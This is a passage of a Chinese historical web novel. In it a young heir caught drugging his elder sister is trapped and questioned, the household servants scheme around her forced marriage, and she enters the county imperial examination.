魏六郎哆嗦一下,一骨碌钻出了柜子底儿,他手脚并用地爬出了东耳房,猫着身子四处张望了一会后,三两步窜到了正房门口。
院子里静悄悄的。
魏六郎手脚并用攀上了正房的门,锁针穿上了两个门环,咔嚓一声,门便锁上了。
这顺利极了。
魏六郎长舒了一口气,因紧张而砰砰跳动的心脏瞬间舒缓了下来。
夜风在院里悄悄地吹着,不知从哪里带来一阵烤物的香气。
魏六郎晌午后便躲了进来,半日没吃东西本来就饿,加上这香味一吹,他腹中顿时咕噜咕噜叫了起来,魏六郎毫无防备,他几乎是本能地顺着香味找了过去,一路钻进了正屋后边那间杂房里。
杂房里边香气更浓郁了。
柴火在杂房四周的墙边垒了一层又一层,房中央堆的是半尺厚的稻草,稻草里边浅浅藏着两包油纸包的烤鸡,油纸裂了条两寸宽的缝隙,一只金黄漏油的大鸡腿,正巧从缝隙里面露了出来,它在稀疏的稻草里边清晰可见。
魏六郎咽了咽口水,他的肚子叫的更响了些。
他几乎是没有犹豫地朝着烤鸡扑了过去。
这定是哪个小厮丫鬟偷藏在这里的。
魏六郎是如此想的。
对于魏六郎来说,这里是魏家,他是魏家的主人,这些魏家的丫鬟小厮连命都是他的,更遑论他们藏下的几只烤鸡。
魏六郎三两步扑了过去,他一脚踏在了稻草上。
骤然间咔嚓一声响起。
稻草底下藏着的木板断裂了。
断裂的木板撬动了墙边的柴火木棍,先是柴火堆上一只硕大的箩筐掉了下来,它罩住了魏六郎,随后便是轰隆一声,四面八方的柴火都朝着魏六郎倾倒而来。
柴火压在箩筐上边,魏六郎在箩筐下面。
魏六郎被抓住了。
有个丫鬟从柴火与竹篾之间的缝隙里,悠悠走了出来,她左手拿着一把折了针的铜锁,漫不经心地在右手手心里边叩着,她脚有些跛,端着是一副吊儿郎当的样子,她一屁股坐在了柴禾堆上,啧啧感叹着,看着魏六郎。
丫鬟手里的锁,正巧是魏六郎刚刚挂在正房门口的锁。
直到看见这把锁,魏六郎这才反应过来,他被抓住了。
在此之前,魏六郎从来没有想过,有人胆敢在魏家的宅子里伤害他,他也从来没有想过,他会在魏家的宅子里面,被像抓鸟一样,抓了起来。
“竖子安敢抓我!”
魏六
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郎愤怒了,他尖叫着嘶吼了起来。
杂房里的声音已经响了一阵了,管家的大丫鬟是最警觉的,红玉来不及穿外衫,披着便匆匆赶来,她推开杂房的门,吓得差点跌落在地上。
“黑了天了!这是做了什么!”
红玉大叫一声,继而又唤醒了几个浅眠的看廊丫头,丫头眯着眼睛摸黑赶来,红玉连忙说道,“快!快搬!快把六郎君放出来!”
红玉身先士卒,三两步上前来拎着柴禾就往屋外边丢去,可春雁说话了。
“我看谁敢!”
春雁大叫了一声,她挑起一根扁担,横在身前往前一顶,春雁的劲儿极大,红玉并着几个丫头都被这扁担推得向后踉跄两步,红玉的外衫都险些在踉跄中被踩下来。
红玉回头整理了一下衣衫,复而转头不可置信地看着春雁。
“谁敢?你是在跟我说……谁敢?”红玉尖叫声,声音像豁了口的布口袋,“你知道这筐子里边关的是谁吗?这可是嫡出的少爷,家里的六郎君!”
“我管什么六郎君七郎君的,我只知道这是咱们院子里的小贼,给大娘子连下了三四天的泻药,今日更是图谋不轨,把娘子的屋门从外锁住了。”
春雁哼了一声,把铜锁甩了出来,丢在了地上。
红玉怔了一瞬,复而又有些心虚。
红玉其实一早就知道,魏六郎不停地潜入这个院子,她也一早就知道,魏六郎连着几日给魏兰蕴下了泻药。
但红玉没说,她也从未阻止过。
甚至,她有时还假装不知地,将下了药的饭食递呈至魏兰蕴面前。
红玉很聪明。
红玉也一直知道她聪明。
正是因为红玉聪明,所以她清楚地看得出这个宅子里的局势,也清楚的明白,效命于这样一个蜃楼海市的娘子,对她来说是没有价值的,同样,为了这样一个过眼云烟的娘子,得罪这府里唯一一个金尊玉贵的少爷,也是不值当的。
然而红玉到底还算是魏兰蕴院子里的人,归魏兰蕴统辖。
所以对于红玉来说,面对魏六郎三番四次地潜入这院子给魏兰蕴使绊子,红玉最好的处理办法,便是装作不知道。
这样她既不会因为偏帮魏六郎而得罪魏兰蕴,也不会因为效忠魏兰蕴而得罪魏家六郎君。
这是一等一明哲保身的办法。
这是一等一聪明人的做法。
但现在,聪明人没办法置身事外了。
魏六郎在魏兰蕴的院子里被当雀鸟儿一样地抓了,无论事情起因结果如何,最后的板子,是一定会打在她这个管事大丫鬟身上的。
统管不力的罪名,她是赖不掉的。
红玉咬了咬牙,带着几个丫头欺身而上,“六郎君是三老爷独子,郎君和娘子孰轻孰重,分不清吗!伤了郎君,你有三条命都不够杀的,在场所有人都别想落着好!”
红玉的话里带了带了几分威胁的意味,年纪尚轻的几个丫头急了,鬓角淌着薄汗,她们欺身往前赶,却在春雁的一条扁担外不得寸进。
春雁丝毫不惧,她梗着脖子跟红玉硬碰硬,“夜贼就是夜贼,夜贼是六郎君也不能放,万一娘子贵体损伤一二,你们担当得起吗?这可是大娘子,大老爷长女,大老爷和三老爷孰轻孰重,分不清吗?”
看廊的丫头是新买来的,看不懂宅子里的局势,又何尝明白魏家与魏兰蕴其身份地位背后的弯弯绕绕,家里的孩子有很多个,长女却只有一个,更别提大老爷是全家都仰仗的京都相公,而三老爷,只是区区的一个七品小吏。
丫头们有些犹豫,你看着我我看着你。
红玉有些愤怒,她踹了一脚柴禾,厉喝说道,“我的话都不听了吗?这是六郎君,听我的,把她押下去,把郎君给我放了!”
“我奉娘子的命令,抓捕图谋不轨的夜贼,我看谁敢把他放了!”春雁也厉喝,她再重复了一遍。
“真是……”
红玉险些气笑了,从前魏三夫人如何珍视魏六郎的场景还历历在目,红玉刚想讲述那照顾魏六郎不力,致使魏六郎跌倒受伤而被打死的婆子,可略一张口,她却忽的顿住了。
魏三夫人已经不在了。
有娘的孩子是个宝,没娘的孩子是根草,先大夫人去了,魏兰蕴成了一株草,现在魏三夫人也送走了,魏六郎是个宝还是株草,这还真的不好说。
红玉沉默了。
这时从暗处缓缓走出来一个人,她举着一盏灯,灯火煌煌,红玉几乎是瞬间便看清楚了那人的容颜,她有些慌乱,退后两步,垂首俯身,尊敬地唤了一句——
“大娘子。”
23. 花轿子与科考场(三)
魏兰蕴缓缓走来,红玉有些紧张,她眼珠子一转刚想解释些什么,话刚开了一个头,即刻便被魏兰蕴打断了。
“可以了,你可以回去休息了。”魏兰蕴说道。
她没看红玉一眼,也丝毫不在意红玉的解释,更遑论片刻前在杂房里发生的争论与分歧。
“娘子我……”红玉没想到是这样的回答,她走上前两步,还想说些什么,却在魏兰蕴的眼神下莫名生了怯意,闭了嘴,噤了声。
魏兰蕴的眼神并不冷。
她黑白分明的眸子里,其实更多的是沉稳,以及沉稳所带来的不容置疑,地位不稳的上位者需要冷漠的神情与模糊的言语来维持其所需要的权威性,但魏兰蕴并不需要。
“辛苦了,你也可以回去休息了。”魏兰蕴又对春雁说道。
红玉走了,春雁也退下了,看廊的丫头们并着她们两个一起退下了,红玉为魏兰蕴掩上门,杂房里又安静了下来,只有烛火的光在跳跃。
“你这獠人,胆敢抓本少爷,还不快把本少爷放了!”魏六郎透过柴火与竹篾的缝隙看着外边发生的一切,乍然看见魏兰蕴,魏六郎眼前一亮,随后张口便骂道。
但魏兰蕴没有说话,她提着灯笼,静默地看着魏六郎,她的眼神就像这片夜色一样安静。
魏六郎不由得有些心虚,他咽了咽口水,似壮胆般拔高了声音骂道:“獠人,还不快放本少爷出来!小心本少爷让你吃不了兜着走!”
魏六郎几乎没见过魏兰蕴几面。
在他五年的短短人生里面,他相处最多的是另外两个姐姐,一个是会拿板砖砸他的五姐姐,和另一个是会被他拿板砖砸的四姐姐。
在魏六郎看来,姐姐无非就是这两种,只不过他摸不清,魏兰蕴究竟是哪种姐姐。
魏兰蕴还是没有说话,她沉默着。
魏六郎的心在打鼓。
他还想说些什么,魏兰蕴却先他一步开了口。
“你背后好像有一个东西。”魏兰蕴似疑惑地说道。
魏六郎也疑惑了,他正要转头,却听魏兰蕴又说。
“你背后好像趴着一个小孩,眼睛是红的,还在流血,你看!他在对你笑!”魏兰蕴捂住了嘴,她眼睛睁大了,似惊讶地说道。
魏六郎被骤然放大的声音惊了一瞬,恍惚之间,他似乎真的就在转头的间隙里看见了一团模糊的黑影,夜色沉沉,寂寥的风在破洞的窗纸上阴阴呼号着,魏六郎被吓住了,他不敢转头求证那团黑影究竟为何,他尖叫一声,人带着箩筐往前窜着。
魏六郎放声大哭,“啊!姐姐,姐姐,姐姐我错了,你放我出去哇啊啊啊啊……”
魏六郎哭的涕泗横流,口水从嘴角落下去延成一根银线。
“哎呀,可不许哭了,鬼小孩最讨厌听小孩哭了,你看,他伸长了舌头在舔你呢,正准备吃你呢!”
魏兰蕴悠悠笑着,她不急不慢地走上前两步,然后蹲在魏六郎前面,灯笼摆在二人中间,由下至上的烛光,在魏兰蕴的鼻梁眉骨之上打出一片森然的阴影。
魏六郎更害怕了。
他大叫了一声,可叫完他却再不敢出声了,他听信了魏兰蕴的话,脸使劲地贴着竹篾,鼻涕眼泪糊了一脸,魏六郎的鼻子痒极了,可他一动也不敢动。
“想出来吗?”魏兰蕴问他。
魏六郎拼命地点头,喉咙里发出稚嫩的嗯嗯声。
“那你要先回答我一些问题,可以做到吗?”魏兰蕴拨了拨蜷成一团的烛芯,火光在她面前绽放,魏兰蕴漫不经心地说道。
魏六郎毫不犹豫地点头。
“来,你先说说,你在这个院子里这么多天,都做了些什么,都为什么要做这些什么。”
魏兰蕴提出了她的第一个问题。
魏六郎生怕惊了鬼小孩,他小声地、哽咽地回答。
小孩的思绪总是天马行空的。
魏六郎从被同窗嘲笑,说到了课业没做被夫子打了手板,又从那些艳文轶事儿,说到了同窗借他五两银子没还,魏六郎絮絮叨叨说了很久很久。
魏兰蕴本就知道几分前因后果,魏六郎这般跳跃的措辞魏兰蕴并不难理解,她认真地听了很久,直到最后,魏兰蕴忽的开口问道。
“林夫子的私塾在银湾是什么地位?”
同样是很跳跃的一个问题,魏六郎没有听懂。
魏兰蕴想了想,她换了一种问法,“你的同窗都有谁,他们都是什么身份?”
魏六郎听懂了这个问题,他老老实实答着,数着指头报数,“黄判司家的老大,宁富望刘家的老七,丹州同知的侄子……”
门第并不高,但在丹州却是一等一的士绅人家。
上之为政,得下之情则治,不得下之情则乱(注1),让女子参考科举是千百年男权教育下一等一的荒谬事,这是任何一个铁血帝王都无法顺利推行的事。
看来这些庞大帝国机器的终端执行齿轮,并不怎么买这份大诰的账。
舆论,只是他们违拗的第一个手段。
魏兰蕴摩挲着灯笼把手,她想着,手指在灯笼把手上敲击出有节律的咚咚声,魏六郎报完了数,安静了下来,他犹疑着,可怜巴巴地看着魏兰蕴。
“去年银湾参考了多少人,谁圈名了?谁又落榜了?都分别是些什么身份?”
魏兰蕴复而又继续问道。
魏六郎并不知道总人数多少,他还没到下场的时候,对考中圈名学子们也记得模糊,他费劲地想着,结结巴巴地报全了人名。
“……右襄刘师爷外甥的弟弟刘志明,王家村一个寡妇的儿子,叫什么王……东?一共就这十三个。”
“落榜的都有谁,还记得吗?”
魏六郎点点头,又摇摇头,“我只记得一个,丹州崔家的一个旁系,叫做崔正的,考前很嚣张,扬言要拿下小三元,可随后县试第一场,便落榜了。”
“丹州崔家?百年世家啊……”魏兰蕴敲击着木把手,她感叹道。
盘旋于丹州百年的家族,可以称得上是名副其实的丹州地头,银湾蕞尔小城,县令不过七品下官,哪怕再不给崔家人面子,也不至于第一场名都不给圈上。
除非是这崔家人文章太过稀烂,亦或者是……
“去年簪花宴上,除了县尊与中榜考生外,还有什么别的人去吗?”
魏兰蕴想了想,继续问道。
魏六郎不解,魏兰蕴便又换了种问法。
“例如你父亲这样的,或者是什么别的勋贵豪强,丹州崔家有人来了吗?”
可魏六郎依旧不解,正当魏兰蕴再次准备更词而问的时候,魏六郎开口了,他疑惑着,犹疑地说道:“簪花宴?从来没有办过这样的东西,咱们南边一直以来办的都是诗会。”
“南边?诗会?什么诗会?谁办的诗会?”魏兰蕴嗅到了几个不明所以的词语。
“杏园诗宴,举办方是……玉溪诗社。”魏六郎磕磕绊绊地回答道。
南丹州地势殊异,从莱阳滚滚而下的雪山融水,化作清溪百道自石罅中涌出,诸水多挟冰雪玉髓,时有诗客夜半常闻琮琤击佩之声,故此南丹州五城,又有玉溪之称。
玉溪诗社的玉溪,正是这个玉溪,正是南丹州五城的玉溪。
魏兰蕴缓缓站起了身来,她感叹着,呼出长长的一口气。
原来如此。
她原本以为的地头蛇之下,还有别的地头。
夜里的风还在吹着,它呼呼的,透过浅开的窗帘吹动了凭几上摊着的笺纸,纸上是生涩的几个大字,新旧交杂的蒙书在风的吹拂下翻着页码,它沙沙作响。
院子外有人扛着轿子来了。
那是一顶火红火红的轿子,轿檐上还十分喜庆地系上了两朵红色的团花,风掀起轿子上囍字的一角,团花在风里摇曳。
雏鸟在夜风里啁啁。
这是一只早春里破壳的雏鸟,母亲不见了踪影,窝巢在风雨里破掉了半个,它蜷在枯枝泥叶里无助地叫着,夜风吹得它瑟瑟发抖,而在它的三尺之外,一只游隼正立在檐顶,隼目一动不动地盯着它。
雏鸟蜷在风与游隼之间,魏兰蕴立在花轿子与科考场之间。
看来她知道要怎么做了。
魏兰蕴想。
-
魏六郎从杂房里被放出来后,几乎是头也不敢回地就跑了,他揣着一盏灯笼,一股脑冲进了自己的小院子里,然后一头栽在榻上,把自己裹在被子里。
几个相近的小厮仆妇是知晓魏六郎出去了的,也知晓魏六郎去做了什么,他们没有睡觉,驱着困意等在院子里边,魏六郎一回来他们便围了上去。
“哎呀,六郎君这是怎么了。”
最先发现魏六郎不对的是他的奶娘,一个从小把他奶大的妇人,夫家姓钱,大家都管她叫钱嫂子,钱嫂子上前两步拍着魏六郎的脊背,忧心地道。
“呜哇!奶娘!”
在魏六郎心里,钱嫂子是仅次于母亲的存在,经历过那样的恐吓惊吓后,魏六郎看见钱嫂子,仿若久旱逢甘霖,他终于感觉到了些许安心,压抑的情绪不受控制地爆发出来,他扑进了钱嫂子的怀里,放声大哭道。
“郎君,郎君,这是怎么了,莫哭,莫哭,奶娘在这呢。”
钱嫂子心疼地搂着魏六郎,拍着他的脊背安抚着他。
魏六郎哽咽地将前因后果说了出来,说到极委屈的地方的时候,他更是止不住地嚎啕大哭,直呼着闹着要娘。
屋子里的小厮仆妇皆面露难色,钱嫂子更是有苦难言。
魏三夫人早在七天前便送往了青城观禁足,整个宅子上下都知道,唯独瞒着魏六郎。
都说没娘的孩子像根草,自三夫人入青城观后,钱嫂子就意识到,总会有这一天的发生,只是她没有想到这一天会到来的这么早。
都是魏兰蕴的错。
钱嫂子恨恨地想到。
她满怀怜爱地抚着魏六郎的脊背,轻哼着哄孩子的歌谣,“六郎莫急,六郎莫怕,夫人去进香了,还未有这么快回来,你不用担心大娘子那边的事儿,她不会再欺负你了,咱们家里会有人给你报仇的,她现在也算是一只秋后的蚂蚱……”
-
“蹦跶不了几天了。”
红玉接过账房递过来的菸草,放进嘴里嚼了起来,她又重复了一遍方才所说的话,“反正她现在已经是秋后的蚂蚱,蹦跶不了几天了。”
如果说一个宅子的信息流向是一张蜘蛛织出来的网,那么账房一定是这张网里面最为核心的部分,银子不会说话,但银子的流动和走向,有时候比说话的人还管用一些。
红玉和账房很相熟。
近些日子公中账目的走向很不寻常,账房觉得不对,红玉也看出来一些意味。
账房先前问她得罪了魏兰蕴,以待如何,但红玉并不担心,按照银子表露出来的山雨欲来的后事,魏兰蕴现在自顾尚且不暇,又哪里抽得出手来收拾杂房之事。
红玉自信地认为,魏兰蕴方才轻描淡写地揭过这回事,正是因为如此。
“但要是我们猜错了,或者是这件事没成怎么办?”账房吐出嚼烂的菸草,又重新嚼了一片新的,“前些日子,斗倒了三夫人的事情里边,有她的手笔吧?”
内宅杀猫银湾封城之事的内情瞒得极严,少有人知道内情,宅子里的仆役也只能通过蛛丝马迹,猜测一二。
“谁知道呢?真有这样的手段,还至于在那破屋子里待了三年?”红玉耸了耸肩。
魏兰蕴被魏三夫人所掣,在破屋待了三年是板上钉钉的事实,对于斗倒魏三夫人的事情,红玉更倾向于是收益最大的魏九芙的手笔。
“不担心后边的事?”
“不担心。”
红玉一向不为未发生的事情而烦忧,况且——
“你看那儿。”红玉挑了挑眉,指了指屋后头的狗洞,“要是后边的事情没成,最要倒霉的,可不是我。”
-
这是一个年久未修的狗洞,被废弃的砂石和杂草堆积着,宅子里的人少有知道这个洞口的,春雁是一次偶然间发现的这个洞口,尔后她便一直通过这个洞口出入魏宅。
上次从这个洞口出去,是去清水潭偷摸接下了一个活计。
那活计是给某家早亡的公子哭丧。
那户人家排场大的吓人,礼乐赞者哭丧歌人整整雇了七十八个过去,因是急要,所以给的工钱尤为不菲,春雁和棺材铺子里的小阿三关系不错,于是小阿三便把她荐了过去,补了个空差儿做哭丧人。
虽说后边春雁跑了,去县报坊送了一封信,没拿到这份工钱,但那送信所得到的报酬,已经足足是这份活计的五倍了。
小阿三蹲在狗洞门口。
春雁从怀里掏出一个布包,她掀起一角,里边是她近些日子攒下来的银钱,金灿灿银晃晃的锞子在布里打着滚,小阿三都险些看呆了。
“你帮我把这些钱带给他,这些钱应该够他用上一阵了。”春雁轻轻地用着气声说道。
“你偷宅子里钱了?”小阿三诧异地问道。
春雁在这个宅子里做活的时间并不久,但小阿三还是能对宅子里丫鬟月例银子的数额揣测一二的,这是一笔足以让一户七口之家吃饱喝足七八年的银子,魏家不是远近闻名的富户,这不像是魏家打赏给春雁的,小阿三更觉得这像是春雁偷来的。
“这样大的一笔数额,被抓住是要被打死的,你快还回去!”小阿三把布包推了回去,他尚且不知春雁之前险些被打死的事情。
“不是偷的,是府里的娘子打赏的,你放心,不会有问题的。”
春雁解释道,将布包塞进了小阿三的袖子里。
“大娘子?”小阿三惊诧说道,他还记得先前春雁谋求魏大娘子贴身侍婢的故事,自然而然地便想到了魏大娘子,不待春雁含糊应答,小阿三似想到了什么似的,拽着春雁的袖子忙说道,“魏大娘子现在可不大好了。”
“不大好?怎么不大好?”
“我听别人说,魏大娘子明日便要送嫁到兖州去了。”小阿三回答道。
婚丧嫁娶不分家,魏家置办喜仪诸事的消息,在这些铺子里面是瞒不住的,在棺材铺子里做活的小阿三自然知道。
“兖州?”春雁很诧异。
她从没听说过这件事,似乎魏兰蕴也从没提过这件事。
“这种高门里边,贴身侍婢是要随娘子一同嫁去的吧?”小阿三焦急地说道。
高门里的娘子急嫁出去,明眼人都知道里边藏了些秘密,春雁不知道小阿三也不诧异,现在让他焦急的是,春雁是否要随着魏大娘子一起嫁过去。
那可是兖州,远离家乡,民乱之地。
这对春雁来说并不算是一个好去处。
而春雁比小阿三想的更多一些。
春雁现在留在魏家的宅子里,毋庸置疑的是仰仗魏兰蕴,她本身就是被三老爷下令打死的人,是魏兰蕴将她保了下来,若是现在魏兰蕴一走,别说在这个宅子里面待下去,就连她这条命能不能继续保得住,还是一个未知数……
况且这样的时间段,这样的送嫁地点,不难看出在复杂的内宅倾轧之中,魏兰蕴似乎又落了下风,这样的主子是否还靠得住,也还是一个未知数……
春雁还在想着,小阿三却还在说着。
“原先跟咱们打交道的豁牙刘被抓了,不过我找到了一条新的门路,我大嫂的舅舅在宁富望衙门谋了个差事,是户籍处的文书,我给他送了两斤白米,他说可以帮忙,你现在从魏家跑了,在我铺子里躲一阵,就算魏家来人抓你,他们也绝对不会想到来棺材板子里抓,躲过这阵风头,咱就可以在宁富望给你用流民的名义,安排一个新的户籍,你便又是民籍了。”
这么多年,春雁都是与小阿三这样合谋的。
由奴变民,由民变奴。
这一来一回,挣下的银钱,足够她勤勤恳恳苦干五六年的了。
春雁不是
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一个忠心耿耿的人,她也当不了一个忠心耿耿的人,面对未知与死亡的威胁,春雁第一反应就是逃,逃得远远地去。
无论是跟着魏兰蕴出嫁,还是作为魏兰蕴救下的人留在魏家,这对于春雁来说都是一条艰难的路,既然这样,那不如逃了。
娘子都出嫁了。
没人会在意一个跛脚的丫鬟跑去了哪里。
或许魏家的人还会以为她跟魏兰蕴一起出嫁了。
就像魏兰蕴所说的,反正她们两个之间也只是一段等价交换的关系而已,魏兰蕴出钱,她做事,她是一把可以顺手就用的梳子,也是一把可以顺手就丢的梳子。
魏兰蕴对她唯一的要求,也只是她去送一封信而已。
信送到了,她的责任也就尽到了。
至于那所谓的救命之恩——
春雁钻出了狗洞,一屁股坐在小阿三旁边。
救命恩人都不在意,她在意什么?
人总是要向前看的。
-
考棚升炮了。
头炮在夜空中划过一道银线,随后炸出一声尖锐的嗡鸣。
县衙门口早已经围满了应考的学子,他们身上背着考篮,手里攥着卷票,头炮一响,若蜂似的围了上去,龙门大开,皂吏鱼贯而出,礼房书吏持着厚厚的一卷纸页,用尖利的嗓音打开了这场县试的序幕。
“第一组,玉乡张宁、银湾孟平安、王家屯王继……应名验身,廪保林力明,请上前来。”
这是五人互结与廪生保结制度。
为了保证考试的公平性,参加考试的考生需要与其余四位考生互相担保,五人联名互结,承诺一人作弊,五人连坐,同时,必须请本县的一名廪生出具担保,证明考生信息属实且符合报考条件。
在头炮响起,礼房点名验身之时,五位互结的考试及出具担保的廪生都必须同时到场,以核验考生身份真伪,防止替考情况的发生。
龙门之后,即为搜检,考生会在皂吏的带领之下,依次进入龙门后搭着的三个帷帐,入场的考生会在此处搜检夹带。
这是入场前最为严格的一个环节。
考生的笔砚、衣衫、鞋袜、发髻甚至是食物都会被一一检查,一旦发现物品亦或是衣衫皮肤上写了只字片语,考生便会被立即呵斥出场,取消资格,并枷号示众。
这也是科考前最稀松平常的环节,是每一个参考的考生都会经历的环节,无论是□□还是小三元,是秀才郎还是状元郎,他们都会在县试乡试府试院试里面,被平等地、近乎扒光了一般仔细查验。
但平等并不意味着公正。
在当街的帷帐里面搜检查验,对于男子来说无伤大雅,但对于女子来说,这或许是她们迈向考场如万丈深渊般的一步。
大诰只是女性参加科举的入场券而已。
但在入场之后,无论是五人互结还是搜检查验,这样男考生如履平地一样的必经之路,都是女考生难以迈上的台阶,世俗礼教在女考生前进的道路上垒了一层又一层的台阶,她们光走进去,坐在和那些男人一样的号舍里面,便已经是千辛万苦、精疲力尽。
花轿子抬去了科考场。
魏三老爷的吩咐便是,待正场结束了直接用花轿将魏兰蕴接走,魏家的马房便一早将花轿抬去了考棚旁边停着,火红的颜色,在蒙蒙的夜色里都极为显眼。
魏兰蕴坐在魏家的马车里,车帘是一直拉着的,她一眼便看见了这顶花轿子,转过头去凝视了许久。
董管家知道这是自家的轿子,他带着魏兰蕴路过这顶轿子,心虚极了,他知晓魏兰蕴的聪慧之处,生怕魏兰蕴看出什么端倪,董管家不住地扯着袖角擦着还未渗出的汗液,嘴上似寒暄般提溜了一嘴。
“考前看见红色的,喜庆,也算是为大娘子博个彩头。”
话一说出来董管家才意识到自己失了言。
这算是什么彩头?
这两个根本不搭边!
董管家紧张地打量魏兰蕴的神情,见她神色如常,似乎并未听出什么端倪,董管家提起的心才稍稍放下一些。
龙门外考生已入场了一大半,还有些稀稀拉拉的考生在门前等候着,魏家的马车一来,考生都纷纷转头看向魏兰蕴,脸上或带着揶揄或带着嘲讽。
女子参加科举的消极舆论不止在林夫子的私塾里有,银湾、丹州乃至整个大梁都有,这些考生知晓入场前几步是对女性而言极难攀登的困境,他们俱翘首以盼地望着接下去的一幕。
有些好动的考生提前一步攀上了帷帐上的竹竿,他们挂在竹竿上面,正巧能将帐里的情形看得一清二楚,帐里边正好被窥探了隐私的考生骂骂咧咧,爬竹竿的考生跳下来嬉皮笑脸,他们嘴里止不住地道歉,眼神却是一直向着魏兰蕴瞥。
“这下……可真是大开眼界了。”
有个考生大声地对着某本文册与考友交谈着,龙门外骤然间哄堂大笑,谁都知道,让他开眼界的不会是这本文册。
董管家小跑上前,向县衙的差役递上了魏兰蕴的票卷。
魏兰蕴的文书是魏三老爷一早就做好的,无论是五人互结还是廪生保结,魏叔礼都为魏兰蕴办得妥妥帖帖。
礼房文书唱名,魏兰蕴并着另外五名魏家门客走上前去,皂吏确认无误后,魏兰蕴便径直走向了帷帐。
周围的学子们纷纷看着她。
可魏兰蕴丝毫不惧。
不过董管家跑上前来,拦住了魏兰蕴的去路。
董管家指了指旁边一条人墙围出来的小径,恭敬地道:“大娘子,县尊老爷有吩咐,女考生在县衙后院的厢房中查验即可。”
这也是魏叔礼的手笔。
魏兰蕴代表的是魏家的脸面,只要魏兰蕴还姓魏,还在外行走一日,魏叔礼就不可能会让魏兰蕴面临任何可能会丢了魏家名声的处境。
小径后面的厢房外围了一圈又一圈的白布,严严实实密不透风,有学子想挤进人墙中看上一眼,却被皂吏拔出来的泛着寒光似的刀拦住了去路。
“什么啊……凭什么女考生就能在里面查验,这不公平……”
考生愤愤抱怨道,话却在刀刃比在自己脖颈的那一刻上戛然而止了,这场两性之间差异所带来的不平等,也在刀刃以及拥有这把刀刃的人手上,戛然而止了。
魏兰蕴不是一个绝对的理想主义者,她并不会为了证明某些虚无的理念,而绕着弯路费劲走一圈,如果有一条笔直的坦途可以走,那她就会毫不犹豫地走上去。
董管家引着魏兰蕴走向了后院的厢房。
但他也只能在半途止步,仆妇从董管家手中接下了为魏兰蕴引路的职责,魏兰蕴跟随着仆妇往前走去,可走到一半,魏兰蕴停下了脚步,她回头看向董管家。
董管家只觉得心里一紧。
同样的场景,在清水潭也曾上演过。
那时三郡盐司都督,在魏兰蕴这样一个女孩子的面前跌倒,尔后不住地自扇耳光。
魏兰蕴又会说些什么?
董管家手心里的冷汗凝成了水滴,滴在了石板路上。
“董良管家。”魏兰蕴开口了。
“在。”董管家想也不想应答道。
“你说见红,是喜庆。”魏兰蕴的语气很平淡,不生波澜,董管家难以感知到,魏兰蕴说这句话的意思究竟是什么,他没有回答,而后魏兰蕴继续说道,“那就借你吉言吧。”
“祝我本场蟾宫折桂,雁塔圈名。”
魏兰蕴径直走向了厢房,查验完后,衙门的皂吏并未让她抽签择席,她被带到了一间特制的号房里面,号房是单独搭出来的,外头裹着层层叠叠的纱幔,有两个仆妇站在纱幔里面,负责给这间号舍监考。
一刻钟后,三只礼炮齐鸣。
县衙的大小十三扇门同时关闭落锁,考棚四角的铜铃一齐被拉响三声。
伴随着坐在考棚主位的刘县尊一声令下。
银湾嘉定八年春的县试,正式开始了。